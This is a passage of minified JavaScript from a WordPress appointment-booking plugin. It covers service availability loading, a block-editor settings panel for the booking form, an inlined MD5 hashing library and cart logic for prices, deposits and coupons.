D{mapRestDataToEntity(e){return new O(e.id,e)}}class H extends D{mapRestDataToEntity(e){return new u(e.id,e)}}class V{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new N("mpa_schedule")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new H("mpa_service")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new F("mpa_reservation")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new x("mpa_coupon")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==V.instance&&(V.instance=new V),V.instance}}function z(){return V.getInstance()}let q=null;function U(e,t){const s=[];for(const i of e){const e=t.includes(i.slug),n=Array.isArray(i.children)?i.children:[],a=n.length?U(n,t):[];(e||a.length>0)&&s.push({...i,children:a})}return s}function j(e){let t=[];for(const s of e)s.slug&&t.push(s.slug),Array.isArray(s.children)&&(t=t.concat(j(s.children)));return t}function W(e,t=[],s=null,i=0){const n=[],a=new Map(t.map(((e,t)=>[e,t]))),o=[...e].sort(((e,t)=>{var s,i;return(null!==(s=a.get(e.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)-(null!==(i=a.get(t.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)}));for(const e of o)Array.isArray(s)&&!s.includes(e.slug)||(n.push({id:e.slug,name:"&nbsp;&nbsp;".repeat(i)+e.name}),Array.isArray(e.children)&&n.push(...W(e.children,t,s,i+1)));return n}function G(e){return T(e)}let Y={};function Q(e,t=!1){return"object"==typeof e?0==function(e,t=!1){return"object"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function K(e="",t=!1){let s=function(e,t){return t<(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join("0")+e:e};Y.uniqid_seed||(Y.uniqid_seed=Math.floor(123456789*Math.random())),Y.uniqid_seed++;let i=e;return i+=s(parseInt((new Date).getTime()/1e3,10),8),i+=s(Y.uniqid_seed,5),t&&(i+=(10*Math.random()).toFixed(8).toString()),i}class Z{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==q)&&(q=_("/services/available").catch((e=>(console.error("Unable to extract available services."),{})))),q}(e).then((e=>{const{services:t,services_order:s,categories_order:i,employees_order:n,locations_order:a,categories_tree:o}=e;return this.setServiceIndexes(s||[]),this.setCategoryIndexes(i||[]),this.setEmployeeIndexes(n||[]),this.setLocationIndexes(a||[]),this.setServiceCategoriesTree(o||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let s=e[t];this.services[t]=s.name;for(let e in s.categories){let t=s.categories[e];this.serviceCategories[e]=t}for(let e in s.employees){let t=s.employees[e];this.employees[e]=t.name;for(let e in t.locations){let s=t.locations[e];this.locations[e]=s}}}}isEmpty(){return Q(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,s=null){let i=new u(e);return this.services.hasOwnProperty(e)&&i.setName(this.services[e]),!0===t?(this.servicePromise=g.loadInBackground(i,z().service()),null!==s&&this.servicePromise.then(s),this.servicePromise.then((()=>i))):this.servicePromise=null,i}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new o(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new r(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e="",t=0,s=0){let i={};for(let n in this.availability){let a=this.availability[n];if(""===e||e in a.categories){if(0!==t){let e=!1;if(Object.keys(a.employees).forEach((s=>{a.employees[s].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===s||s in a.employees)&&(i[n]=a.name)}}return i}getAvailableServiceCategories(){let e={};for(let t in this.availability){let s=this.availability[t];jQuery.extend(e,s.categories)}return e}getAvailableEmployees(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let n=this.availability[i];for(let e in n.employees){let i=n.employees[e];(0===t||t in i.locations)&&(s[e]=i.name)}}return s}getAvailableLocations(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let n=this.availability[i];for(let e in n.employees){if(0!=t&&e!=t)continue;let i=n.employees[e];jQuery.extend(s,i.locations)}}return s}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,s="ids"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(G):0!==t&&i.push(t);let n=[];for(let t in this.availability[e].employees){t=$(t);let s=this.availability[e].employees[t];if(0===i.length)n.push(t);else{p(i,Object.keys(s.locations).map($)).length>0&&n.push(t)}}return 0===n.length?[]:"entities"===s?n.map((e=>this.getEmployee(e))):n}filterAvailableLocations(e,t=0,s="ids"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(G):0!==t&&i.push(t);let n=[];for(t in this.availability[e].employees){if(t=$(t),i.length>0&&-1===i.indexOf(t))continue;let s=this.availability[e].employees[t];for(let e in s.locations)n.push($(e))}return n=l(n),0===n.length?[]:"entities"===s?n.map((e=>this.getLocation(e))):n}}const{Component:J,Fragment:X}=wp.element,{SelectControl:ee,PanelBody:te,TextControl:se,Tooltip:ie,ToggleControl:ne,RangeControl:ae}=wp.components,{InspectorControls:oe,PanelColorSettings:re}=wp.blockEditor||wp.editor;let le=class extends J{constructor(){super(),this.availability=new Z,this.availability.ready().finally((()=>{this.availability.getAvailableServiceCategories(),this.availability.getAvailableServices(),this.availability.getAvailableEmployees(),this.availability.getAvailableLocations()}))}getSelectOptions(e,t,s){let i=[{value:t,label:s}];for(const t in e){let s={};s.value=t,s.label=e[t],i.push(s)}return i}render(){const{form_title:e,show_category:t,show_service:i,show_location:n,show_employee:a,label_category:o,label_service:r,label_location:l,label_employee:p,label_unselected:m,label_option:c,default_category:h,default_service:d,default_location:u,default_employee:g,timepicker_columns:y,show_timepicker_end_time:b,show_add_to_calendar:_,primary_color:v,primary_bg_color:f,secondary_color:w,secondary_bg_color:C,buttons_padding:S,form_width:E}=this.props.attributes,{setAttributes:k}=this.props,P=$(d),I=$(g),T=$(u),D=this.availability.isAvailableServiceCategory(h)?h:"",x=this.availability.isAvailableService(P)?P:0,M=this.availability.isAvailableLocation(T)?T:0,A=this.availability.isAvailableEmployee(I)?I:0,B=this.availability.getAvailableServiceCategories(),L=this.availability.getAvailableServices(D,M,A),F=this.availability.getAvailableLocations(x,A),R=this.availability.getAvailableEmployees(x,M),O=this.getSelectOptions(B,"",s.__("— Any —","motopress-appointment")),N=this.getSelectOptions(L,0,s.__("— Unselected —","motopress-appointment")),H=this.getSelectOptions(F,0,s.__("— Any —","motopress-appointment")),V=this.getSelectOptions(R,0,s.__("— Any —","motopress-appointment")),z=wp.element.createElement(ne,{label:s.__("Show Category?","motopress-appointment"),help:s.__("Show the service category field in the form.","motopress-appointment"),checked:!1!==i&&t,disabled:!1===i,onChange:e=>{k({show_category:e})}}),q=!1===i?wp.element.createElement(ie,{text:s.sprintf(s.__("To enable this option, you need to check the '%s' box.","motopress-appointment"),s.__("Show Service?","motopress-appointment"))},wp.element.createElement("div",{style:{display:"inline-block"}},z)):z,U=wp.element.createElement(ne,{label:s.__("Show Service?","motopress-appointment"),help:s.__("Show the service field in the form.","motopress-appointment"),checked:0===x||i,disabled:0===x,onChange:e=>{k({show_service:e})}}),j=0===x?wp.element.createElement(ie,{text:s.__("To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.","motopress-appointment")},wp.element.createElement("div",{style:{display:"inline-block"}},U)):U;return wp.element.createElement(React.Fragment,null,wp.element.createElement(oe,null,wp.element.createElement(te,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(se,{label:s.__("Form Title","motopress-appointment"),value:e,onChange:e=>{k({form_title:e})}}),wp.element.createElement(ee,{label:s.__("Service","motopress-appointment"),help:s.__("ID of the selected service.","motopress-appointment"),value:x,onChange:e=>k({default_service:e}),options:N}),q,j,wp.element.createElement(ne,{label:s.__("Show Location?","motopress-appointment"),help:s.__("Show the location field in the form.","motopress-appointment"),checked:n,onChange:e=>{k({show_location:e})}}),wp.element.createElement(ne,{label:s.__("Show Employee?","motopress-appointment"),help:s.__("Show the employee field in the form.","motopress-appointment"),checked:a,onChange:e=>{k({show_employee:e})}}),wp.element.createElement(ne,{label:s.__("Show 'Add to Your Calendar?' section.","motopress-appointment"),help:s.__("Allow customers to add an appointment to their own Google, Apple, Outlook, or Yahoo calendar.","motopress-appointment"),checked:_,onChange:e=>{k({show_add_to_calendar:e})}}),wp.element.createElement(se,{label:s.__("Category Field Label","motopress-appointment"),help:s.__("Custom label for the service category field.","motopress-appointment"),placeholder:s.__("Service Category","motopress-appointment"),value:o,onChange:e=>{k({label_category:e})}}),wp.element.createElement(se,{label:s.__("Service Field Label","motopress-appointment"),help:s.__("Custom label for the service field.","motopress-appointment"),placeholder:s.__("Service","motopress-appointment"),value:r,onChange:e=>{k({label_service:e})}}),wp.element.createElement(se,{label:s.__("Location Field Label","motopress-appointment"),help:s.__("Custom label for the location field.","motopress-appointment"),placeholder:s.__("Location","motopress-appointment"),value:l,onChange:e=>{k({label_location:e})}}),wp.element.createElement(se,{label:s.__("Employee Field Label","motopress-appointment"),help:s.__("Custom label for the employee field.","motopress-appointment"),placeholder:s.__("Employee","motopress-appointment"),value:p,onChange:e=>{k({label_employee:e})}}),wp.element.createElement(se,{label:s.__("Unselected Service","motopress-appointment"),help:s.__("Custom label for the unselected service field.","motopress-appointment"),placeholder:s.__("— Select —","motopress-appointment"),value:m,onChange:e=>{k({label_unselected:e})}}),wp.element.createElement(se,{label:s.__("Unselected Option","motopress-appointment"),help:s.__("Custom label for the unselected service category, location and employee fields.","motopress-appointment"),placeholder:s.__("— Any —","motopress-appointment"),value:c,onChange:e=>{k({label_option:e})}}),wp.element.createElement(ee,{label:s.__("Service Category","motopress-appointment"),help:s.__("Slug of the selected service category.","motopress-appointment"),value:D,onChange:e=>k({default_category:e}),options:O}),wp.element.createElement(ee,{label:s.__("Location","motopress-appointment"),help:s.__("ID of the selected location.","motopress-appointment"),value:M,onChange:e=>k({default_location:e}),options:H}),wp.element.createElement(ee,{label:s.__("Employee","motopress-appointment"),help:s.__("ID of the selected employee.","motopress-appointment"),value:A,onChange:e=>k({default_employee:e}),options:V}),wp.element.createElement(ae,{label:s.__("Timepicker Columns Count","motopress-appointment"),help:s.__("The number of columns in the timepicker.","motopress-appointment"),value:y,onChange:e=>k({timepicker_columns:e}),min:1,max:5}),wp.element.createElement(ne,{label:s.__("Show End Time?","motopress-appointment"),help:s.__("Show the time when the appointment ends.","motopress-appointment"),checked:b,onChange:e=>{k({show_timepicker_end_time:e})}}))),wp.element.createElement(oe,{group:"styles"},wp.element.createElement(te,null,wp.element.createElement("span",null,s.__("These options only affect what you see on the front end.","motopress-appointment"))),wp.element.createElement(re,{__experimentalIsRenderedInSidebar:!0,title:s.__("Colors","motopress-appointment"),colorSettings:[{value:v,onChange:e=>{k({primary_color:e})},label:s.__("Primary Text Color","motopress-appointment")},{value:f,onChange:e=>{k({primary_bg_color:e})},label:s.__("Primary Background Color","motopress-appointment")},{value:w,onChange:e=>{k({secondary_color:e})},label:s.__("Secondary Text Color","motopress-appointment")},{value:C,onChange:e=>{k({secondary_bg_color:e})},label:s.__("Secondary Background Color","motopress-appointment")}]}),wp.element.createElement(te,null,wp.element.createElement(se,{label:s.__("Form Width","motopress-appointment"),help:s.__("Example: 100%","motopress-appointment"),value:E,onChange:e=>{k({form_width:e})}}),wp.element.createElement(se,{label:s.__("Buttons Padding","motopress-appointment"),help:s.__("Example: 5px 10px","motopress-appointment"),value:S,onChange:e=>{k({buttons_padding:e})}}))))}};function pe(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var me,ce,he={exports:{}},de={exports:{}};me="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",ce={rotl:function(e,t){return e<<t|e>>>32-t},rotr:function(e,t){return e<<32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&ce.rotl(e,8)|4278255360&ce.rotl(e,24);for(var t=0;t<e.length;t++)e[t]=ce.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],s=0,i=0;s<e.length;s++,i+=8)t[i>>>5]|=e[s]<<24-i%32;return t},wordsToBytes:function(e){for(var t=[],s=0;s<32*e.length;s+=8)t.push(e[s>>>5]>>>24-s%32&255);return t},bytesToHex:function(e){for(var t=[],s=0;s<e.length;s++)t.push((e[s]>>>4).toString(16)),t.push((15&e[s]).toString(16));return t.join("")},hexToBytes:function(e){for(var t=[],s=0;s<e.length;s+=2)t.push(parseInt(e.substr(s,2),16));return t},bytesToBase64:function(e){for(var t=[],s=0;s<e.length;s+=3)for(var i=e[s]<<16|e[s+1]<<8|e[s+2],n=0;n<4;n++)8*s+6*n<=8*e.length?t.push(me.charAt(i>>>6*(3-n)&63)):t.push("=");return t.join("")},base64ToBytes:function(e){e=e.replace(/[^A-Z0-9+\/]/gi,"");for(var t=[],s=0,i=0;s<e.length;i=++s%4)0!=i&&t.push((me.indexOf(e.charAt(s-1))&Math.pow(2,-2*i+8)-1)<<2*i|me.indexOf(e.charAt(s))>>>6-2*i);return t}},de.exports=ce;var ue=de.exports,ge={utf8:{stringToBytes:function(e){return ge.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape(ge.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],s=0;s<e.length;s++)t.push(255&e.charCodeAt(s));return t},bytesToString:function(e){for(var t=[],s=0;s<e.length;s++)t.push(String.fromCharCode(e[s]));return t.join("")}}},ye=ge,be=function(e){return null!=e&&(_e(e)||function(e){return"function"==typeof e.readFloatLE&&"function"==typeof e.slice&&_e(e.slice(0,0))}(e)||!!e._isBuffer)};function _e(e){return!!e.constructor&&"function"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=ue,t=ye.utf8,s=be,i=ye.bin,n=function(a,o){a.constructor==String?a=o&&"binary"===o.encoding?i.stringToBytes(a):t.stringToBytes(a):s(a)?a=Array.prototype.slice.call(a,0):Array.isArray(a)||a.constructor===Uint8Array||(a=a.toString());for(var r=e.bytesToWords(a),l=8*a.length,p=1732584193,m=-271733879,c=-1732584194,h=271733878,d=0;d<r.length;d++)r[d]=16711935&(r[d]<<8|r[d]>>>24)|4278255360&(r[d]<<24|r[d]>>>8);r[l>>>5]|=128<<l%32,r[14+(l+64>>>9<<4)]=l;var u=n._ff,g=n._gg,y=n._hh,b=n._ii;for(d=0;d<r.length;d+=16){var _=p,v=m,f=c,w=h;p=u(p,m,c,h,r[d+0],7,-680876936),h=u(h,p,m,c,r[d+1],12,-389564586),c=u(c,h,p,m,r[d+2],17,606105819),m=u(m,c,h,p,r[d+3],22,-1044525330),p=u(p,m,c,h,r[d+4],7,-176418897),h=u(h,p,m,c,r[d+5],12,1200080426),c=u(c,h,p,m,r[d+6],17,-1473231341),m=u(m,c,h,p,r[d+7],22,-45705983),p=u(p,m,c,h,r[d+8],7,1770035416),h=u(h,p,m,c,r[d+9],12,-1958414417),c=u(c,h,p,m,r[d+10],17,-42063),m=u(m,c,h,p,r[d+11],22,-1990404162),p=u(p,m,c,h,r[d+12],7,1804603682),h=u(h,p,m,c,r[d+13],12,-40341101),c=u(c,h,p,m,r[d+14],17,-1502002290),p=g(p,m=u(m,c,h,p,r[d+15],22,1236535329),c,h,r[d+1],5,-165796510),h=g(h,p,m,c,r[d+6],9,-1069501632),c=g(c,h,p,m,r[d+11],14,643717713),m=g(m,c,h,p,r[d+0],20,-373897302),p=g(p,m,c,h,r[d+5],5,-701558691),h=g(h,p,m,c,r[d+10],9,38016083),c=g(c,h,p,m,r[d+15],14,-660478335),m=g(m,c,h,p,r[d+4],20,-405537848),p=g(p,m,c,h,r[d+9],5,568446438),h=g(h,p,m,c,r[d+14],9,-1019803690),c=g(c,h,p,m,r[d+3],14,-187363961),m=g(m,c,h,p,r[d+8],20,1163531501),p=g(p,m,c,h,r[d+13],5,-1444681467),h=g(h,p,m,c,r[d+2],9,-51403784),c=g(c,h,p,m,r[d+7],14,1735328473),p=y(p,m=g(m,c,h,p,r[d+12],20,-1926607734),c,h,r[d+5],4,-378558),h=y(h,p,m,c,r[d+8],11,-2022574463),c=y(c,h,p,m,r[d+11],16,1839030562),m=y(m,c,h,p,r[d+14],23,-35309556),p=y(p,m,c,h,r[d+1],4,-1530992060),h=y(h,p,m,c,r[d+4],11,1272893353),c=y(c,h,p,m,r[d+7],16,-155497632),m=y(m,c,h,p,r[d+10],23,-1094730640),p=y(p,m,c,h,r[d+13],4,681279174),h=y(h,p,m,c,r[d+0],11,-358537222),c=y(c,h,p,m,r[d+3],16,-722521979),m=y(m,c,h,p,r[d+6],23,76029189),p=y(p,m,c,h,r[d+9],4,-640364487),h=y(h,p,m,c,r[d+12],11,-421815835),c=y(c,h,p,m,r[d+15],16,530742520),p=b(p,m=y(m,c,h,p,r[d+2],23,-995338651),c,h,r[d+0],6,-198630844),h=b(h,p,m,c,r[d+7],10,1126891415),c=b(c,h,p,m,r[d+14],15,-1416354905),m=b(m,c,h,p,r[d+5],21,-57434055),p=b(p,m,c,h,r[d+12],6,1700485571),h=b(h,p,m,c,r[d+3],10,-1894986606),c=b(c,h,p,m,r[d+10],15,-1051523),m=b(m,c,h,p,r[d+1],21,-2054922799),p=b(p,m,c,h,r[d+8],6,1873313359),h=b(h,p,m,c,r[d+15],10,-30611744),c=b(c,h,p,m,r[d+6],15,-1560198380),m=b(m,c,h,p,r[d+13],21,1309151649),p=b(p,m,c,h,r[d+4],6,-145523070),h=b(h,p,m,c,r[d+11],10,-1120210379),c=b(c,h,p,m,r[d+2],15,718787259),m=b(m,c,h,p,r[d+9],21,-343485551),p=p+_>>>0,m=m+v>>>0,c=c+f>>>0,h=h+w>>>0}return e.endian([p,m,c,h])};n._ff=function(e,t,s,i,n,a,o){var r=e+(t&s|~t&i)+(n>>>0)+o;return(r<<a|r>>>32-a)+t},n._gg=function(e,t,s,i,n,a,o){var r=e+(t&i|s&~i)+(n>>>0)+o;return(r<<a|r>>>32-a)+t},n._hh=function(e,t,s,i,n,a,o){var r=e+(t^s^i)+(n>>>0)+o;return(r<<a|r>>>32-a)+t},n._ii=function(e,t,s,i,n,a,o){var r=e+(s^(t|~i))+(n>>>0)+o;return(r<<a|r>>>32-a)+t},n._blocksize=16,n._digestsize=16,he.exports=function(t,s){if(null==t)throw new Error("Illegal argument "+t);var a=e.wordsToBytes(n(t,s));return s&&s.asBytes?a:s&&s.asString?i.bytesToString(a):e.bytesToHex(a)}}();var ve=pe(he.exports);class fe{setupProperties(){this.itemId="",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e="all"){return"ids"===e?this.getIds():"availability"===e?this.getAvailableIds():"period"===e?{date:null!==this.date?E(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):""}:jQuery.extend(this.getIds(),{date:null!==this.date?E(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):"",capacity:this.capacity})}isSet(e="all"){let t=!0;return"all"!==e&&"ids"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),"all"!==e&&"period"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&E(this.date,"internal")==E(e,"internal")&&this.time.toString("internal")==t.toString("internal")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(c(t.minCapacity,t.maxCapacity));return l(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case"disabled":default:t=e;break;case"fixed":t=this.service.depositAmount;break;case"percentage":t=e*this.service.depositAmount/100}return t>e?e:t}getHash(e="all"){return ve(JSON.stringify(this.toArray(e)))}didChange(e,t="all"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){"number"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){"number"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e<=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let we=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let s=!this.includesKey(e);return this.values[e]=t,s&&(this.keys.push(e),this.length++),s}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let s=this.findNextKey(e);return""!==s?this.values[s]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let s=t+1;return s<this.length?this.keys[s]:this.keys[t]}findPrevious(e,t=null){let s=this.findPreviousKey(e);return""!==s?this.values[s]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let s=t-1;return s>=0?this.keys[s]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let s=this.keys.indexOf(e);return this.keys.splice(s,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let s of this.keys){let i=this.values[s][e];null!=i&&(Array.isArray(i)?t=t.concat(i):t.push(i))}return l(t)}forEach(e){let t=0;for(let s of this.keys){let i=e(this.values[s],t,s,this);if(t++,!1===i)break}}map(e){let t=[],s=0;for(let i of this.keys)t.push(e(this.values[i],s,i,this)),s++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}};class Ce{setupProperties(){var e;this.items=new we,this.activeItem=null,this.customerDetails={name:"",email:"",phone:""},this.paymentDetails={booking_id:0,gateway_id:"none"},this.coupon=null,this.bookingNonce=null!==(e=mpaData?.nonces?.mpa_create_booking)&&void 0!==e?e:""}constructor(){this.setupProperties()}createItem(e=""){e||(e=K());let t=new fe(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():""}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem="string"==typeof e?this.getItem(e):e}removeItem(e){"string"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let s of e)t+=s.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let s=t.getPrice();this.hasCoupon()&&(s-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(s)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e="all"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),C().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),"items"===e?t.items:t}getHash(e="all"){return ve("order"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t="all"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||P()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=l(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class Se{constructor(e){this.cart=e,this.steps=new we,this.currentStep=null,this.currentStepId=""}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(".mpa-booking-step").on("mpa_booking_step_next",((e,t)=>this.onStep("next",t))).on("mpa_booking_step_back",((e,t)=>this.onStep("back",t))).on("mpa_booking_step_new",((e,t)=>this.onStep("new",t))).on("mpa_reset_booking",((e,t)=>this.onStep("reset",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case"next":this.goToNextStep();break;case"back":this.goToPreviousStep();break;case"new":this.goToFirstStep();break;case"reset":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let 